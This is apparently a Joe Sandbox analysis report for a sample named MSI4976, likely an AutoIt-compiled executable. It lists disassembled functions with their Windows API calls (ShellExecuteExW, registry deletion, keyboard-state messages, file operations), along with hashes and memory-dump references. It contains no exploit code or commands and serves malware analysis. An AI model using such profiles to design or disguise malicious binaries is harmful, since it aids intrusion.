API String ID: 3637404534-0
Opcode ID: ca4a9ad32d6b862013fb8a94af7026e683cdde95e2b3a81a603c379e10813b08
Instruction ID: 4020c542a2586e3a9a76e5da1e6a689d95ccd1b08aa214969cb1f2ccf6574be9
Opcode Fuzzy Hash: ca4a9ad32d6b862013fb8a94af7026e683cdde95e2b3a81a603c379e10813b08
Instruction Fuzzy Hash: DB81BD31504210AFC726EF24DC85F6BB7E8EB89710F10861EF55A9B2A1DB34ED04CB92

Function 0034B72C Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtinitlocknum.LIBCMT ref: 0034B744

Part of subcall function 00348A0C: __FF_MSGBANNER.LIBCMT ref: 00348A21
Part of subcall function 00348A0C: __NMSG_WRITE.LIBCMT ref: 00348A28
Part of subcall function 00348A0C: __malloc_crt.LIBCMT ref: 00348A48

__lock.LIBCMT ref: 0034B757
__lock.LIBCMT ref: 0034B7A3
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,003D6948,00000018,00356C2B,?,00000000,00000109), ref: 0034B7BF
RtlEnterCriticalSection.NTDLL(8000000C), ref: 0034B7DC
RtlLeaveCriticalSection.NTDLL(8000000C), ref: 0034B7EC

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: 79143dec2848fdf75f8bd77d4fdf6712af45fc542032439c140154036b42d55e
Instruction ID: 13a54d89a90a2744acde3c9d77fd6fc04254f3d7cc4018e3306b2c1056b4bd7a
Opcode Fuzzy Hash: 79143dec2848fdf75f8bd77d4fdf6712af45fc542032439c140154036b42d55e
Instruction Fuzzy Hash: 894113719002558BEB169FA8D8843ACFBE8AF41325F158318E425AF6E2C7B4F841CB90

Function 0036A1B7 Relevance: 12.1, APIs: 8, Instructions: 100fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0036A1CE

Part of subcall function 0034010A: std::exception::exception.LIBCMT ref: 0034013E
Part of subcall function 0034010A: __CxxThrowException@8.LIBCMT ref: 00340153

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 0036A205
RtlEnterCriticalSection.NTDLL(?), ref: 0036A221
_memmove.LIBCMT ref: 0036A26F
_memmove.LIBCMT ref: 0036A28C
RtlLeaveCriticalSection.NTDLL(?), ref: 0036A29B
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 0036A2B0
InterlockedExchange.KERNEL32(?,000001F6), ref: 0036A2CF

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: fc1ea094a3bd15392dcf291f3c14a79e87c2bba6e445b68234718d5969abe404
Instruction ID: 0cafc98e0b40e1d71c51f6112b1ce15520686b5cc70f6e0ba7ae5e3c910cdd5e
Opcode Fuzzy Hash: fc1ea094a3bd15392dcf291f3c14a79e87c2bba6e445b68234718d5969abe404
Instruction Fuzzy Hash: 48319E31A00105ABCF02DFA4DC85AAEBBB8EF45310F1480A5E905AF256D774DA14CBA1

Function 00371BFA Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

Part of subcall function 00323BCF: _wcscpy.LIBCMT ref: 00323BF2

_wcstok.LIBCMT ref: 00371D6E
_wcscpy.LIBCMT ref: 00371DFD
_memset.LIBCMT ref: 00371E30

Strings

t:=p:=, xrefs: 00371E40
X, xrefs: 00371E68

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X$t:=p:=
API String ID: 774024439-2285903649
Opcode ID: cd697cc9ea10e78d32afc26649073bfe53adc96877d64fc2db94b85ee238b691
Instruction ID: 8f4dee9fbde810ae4a683029a0e9f414371ff0061aff1dfc0a25d474238001ab
Opcode Fuzzy Hash: cd697cc9ea10e78d32afc26649073bfe53adc96877d64fc2db94b85ee238b691
Instruction Fuzzy Hash: C2C173355087109FC726EF28D891A9EB7E4BF85310F01892DF8999B2A1DB74ED45CB82

Function 0033B40F Relevance: 10.7, APIs: 7, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0078fa16067e0e94db2d12278e09735869948a9d8b29e78ab2ec182618823c2
Instruction ID: 4564aad78ad2a7815bd8cccd7142cbb258e7ce7600bdae83512e55485042fc97
Opcode Fuzzy Hash: c0078fa16067e0e94db2d12278e09735869948a9d8b29e78ab2ec182618823c2
Instruction Fuzzy Hash: 5E716D71904109EFDF06CF99CC88ABEBB78FF86314F248159FA15AA251C7349A51CFA4

Function 00382121 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0038214B
_memset.LIBCMT ref: 00382214
ShellExecuteExW.SHELL32(?), ref: 00382259

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

Part of subcall function 00323BCF: _wcscpy.LIBCMT ref: 00323BF2

CloseHandle.KERNEL32(00000000), ref: 00382320
FreeLibrary.KERNEL32(00000000), ref: 0038232F

Strings

@, xrefs: 00382225

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
String ID: @
API String ID: 4082843840-2766056989
Opcode ID: c68599e17f40168fb3a2221d4a242ade5a8d83588661f1a6e9fb9d27e64a094c
Instruction ID: 8fbfedac1f67a389f6605725bc805945c89cc40bc34bac0afd318708867f4a59
Opcode Fuzzy Hash: c68599e17f40168fb3a2221d4a242ade5a8d83588661f1a6e9fb9d27e64a094c
Instruction Fuzzy Hash: 5D71AA75A00629DFCB06EFA4D8959AEB7F5FF48310F108499E856AB351DB30AE40CB90

Function 003647DE Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0036481D
GetKeyboardState.USER32(?), ref: 00364832
SetKeyboardState.USER32(?), ref: 00364893
PostMessageW.USER32(?,00000101,00000010,?), ref: 003648C1
PostMessageW.USER32(?,00000101,00000011,?), ref: 003648E0
PostMessageW.USER32(?,00000101,00000012,?), ref: 00364926
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00364949

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 86236d156456b76ebe6a9e268e8df2f78484554c5e54476e8bdb12171fc2bf6b
Instruction ID: 7671fede95c6fbd48f770f3a7e57570e756f0ff595e94eef91ad7b8e7bc62f3d
Opcode Fuzzy Hash: 86236d156456b76ebe6a9e268e8df2f78484554c5e54476e8bdb12171fc2bf6b
Instruction Fuzzy Hash: 5251CDA0E487D53DFB3B4634C845BBBBEE96B06304F09C589E1D54A8C6C7D9E888D760

Function 003645F9 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00364638
GetKeyboardState.USER32(?), ref: 0036464D
SetKeyboardState.USER32(?), ref: 003646AE
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 003646DA
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 003646F7
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0036473B
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0036475C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 2ad4c18972969327a2fd97f089918216ddc4b21aa9413fd079bd4a589e636490
Instruction ID: 9dd09acf6df33793a90618184548a7e1eb61ac0bf686f78b874020958ea401d2
Opcode Fuzzy Hash: 2ad4c18972969327a2fd97f089918216ddc4b21aa9413fd079bd4a589e636490
Instruction Fuzzy Hash: E351B2A0D047D63DFB378724CC45BB6BEA96B07304F09C589E1E55A8C6D394EC98D760

Function 003686AE Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 003686BB
_wcsncpy.LIBCMT ref: 003686F0
_wcsncpy.LIBCMT ref: 00368722
_wcsncpy.LIBCMT ref: 00368755
_wcsncpy.LIBCMT ref: 00368797
_wcsncpy.LIBCMT ref: 003687D1
_wcsncpy.LIBCMT ref: 00368800

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 612fabb5cd5f597d3e5268a6d76283124b780ea8b2bbcc9c504e5eeb34c7797f
Instruction ID: 57d1d0cef2ef403ea3474b870788144c3e0b4367f776ad062579db4ac66fc939
Opcode Fuzzy Hash: 612fabb5cd5f597d3e5268a6d76283124b780ea8b2bbcc9c504e5eeb34c7797f
Instruction Fuzzy Hash: 7F415E65C2121475CB12EBF4C886ACFB7ECAF09310F908966F514FB121EA70F65587E9

Function 0038CB07 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

@U=u, xrefs: 0038CC00

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID: @U=u
API String ID: 0-2594219639
Opcode ID: 09de140c22c627c54527038fe67a1ff6f1adae5783635aa9c0ea5dd17fcf314b
Instruction ID: bddfd028e1bd05602ab272c0821f7eac99649145b25f69823cadb887f97c9a71
Opcode Fuzzy Hash: 09de140c22c627c54527038fe67a1ff6f1adae5783635aa9c0ea5dd17fcf314b
Instruction Fuzzy Hash: 2041E235910704ABD727EF38CC49FA9BB79EB0A320F165295F81AA72E1C7709D01D760

Function 00383C63 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 00383C92
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00383CBC
FreeLibrary.KERNEL32(00000000), ref: 00383D71

Part of subcall function 00383C63: RegCloseKey.ADVAPI32(?), ref: 00383CD9
Part of subcall function 00383C63: FreeLibrary.KERNEL32(?), ref: 00383D2B
Part of subcall function 00383C63: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00383D4E

RegDeleteKeyW.ADVAPI32(?,?), ref: 00383D16

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 5cf6d1f7c4b25e5aaa1bd07ffa6d4628cb5d0679ab0f03be573aafb9dd51c7a5
Instruction ID: cf562e1df427b75592c4f3b9c9845a12c6ac1b289bc35e979e602ec01d95ec7b
Opcode Fuzzy Hash: 5cf6d1f7c4b25e5aaa1bd07ffa6d4628cb5d0679ab0f03be573aafb9dd51c7a5
Instruction Fuzzy Hash: 2F311E71901209BFDB16EB94DC89EFFB7BCEF09700F1005AAE512E2251E6749F499B60

Function 003616F1 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00361734
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0036175A
SysAllocString.OLEAUT32(00000000), ref: 0036175D
SysAllocString.OLEAUT32(?), ref: 0036177B
SysFreeString.OLEAUT32(?), ref: 00361784
StringFromGUID2.COMBASE(?,?,00000028), ref: 003617A9
SysAllocString.OLEAUT32(?), ref: 003617B7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 05ea472fc10363e5778b208b03e619424ae973260aa726d6da357af992abbb30
Instruction ID: 1b3465b5e8e1a7d3957e1ec791a1ce1fca2c67b876aea44a1f6c84cb0316f460
Opcode Fuzzy Hash: 05ea472fc10363e5778b208b03e619424ae973260aa726d6da357af992abbb30
Instruction Fuzzy Hash: CE217479600219AF9B119FA9CC88CFF77ECEB0A360B45C125F915DB254DB74EC418760

Function 0035C600 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 0035C684
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 0035C697
SendMessageW.USER32(?,00000189,?,00000000), ref: 0035C6C7

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

Strings

ListBox, xrefs: 0035C643
@U=u, xrefs: 0035C684, 0035C697, 0035C6C7
ComboBox, xrefs: 0035C60B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 458670788-2258501812
Opcode ID: 629efa9b7c04b4cfb74bdd8d19155e0463dc6da46947aa3ce6f1b412fd5f37f1
Instruction ID: 91aad97e87464e2a5926b0d3a7e7a1b62af7c35d1599b67ff00f2e09e0b3b5e8
Opcode Fuzzy Hash: 629efa9b7c04b4cfb74bdd8d19155e0463dc6da46947aa3ce6f1b412fd5f37f1
Instruction Fuzzy Hash: D021F371A00204BEDB0AAB64D886DFFB7ACDF06355B155119F822EB1F0DB785E0A9760

Function 003669F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003231B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 003231DA

lstrcmpiW.KERNEL32(?,?), ref: 00366A2B
_wcscmp.LIBCMT ref: 00366A49
MoveFileW.KERNEL32(?,?), ref: 00366A62

Part of subcall function 00366D6D: GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00366DBA
Part of subcall function 00366D6D: GetLastError.KERNEL32 ref: 00366DC5
Part of subcall function 00366D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 00366DD9

_wcscat.LIBCMT ref: 00366AA4
SHFileOperationW.SHELL32(?), ref: 00366B0C

Strings

\*.*, xrefs: 00366A9E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: File$AttributesCreateDirectoryErrorFullLastMoveNameOperationPath_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 2323102230-1173974218
Opcode ID: 0ba60695bc04d3a265837045225e8e56e740478c11f8c0a7a6cb670688f505d4
Instruction ID: 0f68d951e44b1f00f843e93a99f8e3ab9f64a9d7ddb7396c04b4495d8885d5b5
Opcode Fuzzy Hash: 0ba60695bc04d3a265837045225e8e56e740478c11f8c0a7a6cb670688f505d4
Instruction Fuzzy Hash: A53148B18002186ACF52EFB4E845BDDB7B8AF08344F5085DAE505E7145EB359B89CF64

Function 00362FCD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00362FE0
__wcsnicmp.LIBCMT ref: 00363001
__wcsnicmp.LIBCMT ref: 0036301B

Strings

#requireadmin, xrefs: 00362FFB
#OnAutoItStartRegister, xrefs: 00363015
#notrayicon, xrefs: 00362FD8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: c95306a619db45502acef1e78bcf345ee7c3a40fef2959b9979df3e07ec7d89a
Instruction ID: 8d24a1a3ed29bb65715c6003496df4c3f2e9f130f8cebcaf68550d53ad283c35
Opcode Fuzzy Hash: c95306a619db45502acef1e78bcf345ee7c3a40fef2959b9979df3e07ec7d89a
Instruction Fuzzy Hash: 8D213B32204A1176D237A6349C06FF773ECDF55300F51C025F9869F589EBA1AA86C395

Function 003617C8 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0036180D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00361833
SysAllocString.OLEAUT32(00000000), ref: 00361836
SysAllocString.OLEAUT32 ref: 00361857
SysFreeString.OLEAUT32 ref: 00361860
StringFromGUID2.COMBASE(?,?,00000028), ref: 0036187A
SysAllocString.OLEAUT32(?), ref: 00361888

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
